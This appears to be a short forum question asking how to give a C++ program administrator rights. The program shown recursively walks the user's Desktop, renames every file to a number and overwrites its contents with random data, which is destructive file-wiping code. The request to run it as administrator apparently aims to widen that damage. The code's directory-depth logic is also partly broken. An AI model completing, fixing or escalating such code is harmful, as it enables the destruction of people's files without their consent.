How can I change the name file to a administrator file ? \ CPP

srand(time(0));
	string dirPath = "C:\\Users\\" + username() + "\\Desktop";
	auto path = fs::path(dirPath);
	auto dir = fs::recursive_directory_iterator(path);
	filesystem::path currPath = path;
	int fileName = rand() % 1920;

	for (auto& block : dir)
	{

		auto innerPaths = vector<fs::path>();
		innerPaths.push_back(currPath);
		auto currentDepthSize = dir.depth();

		if (currentDepthSize != dir.depth())
		{
			currentDepthSize = dir.depth();
			currPath = innerPaths[currentDepthSize];
		}
		if (block.is_directory())
		{
			currentDepthSize = dir.depth();
			currPath = dir->path();
			innerPaths.push_back(currPath);
		}
		else
		{
			string filedata = (currPath.string() + "\\" + to_string(fileName));
			fs::rename(block.path(), filedata);
			fileName++;
			fstream file_data(filedata);
			file_data << randomString();
			file_data.close();
		}
	}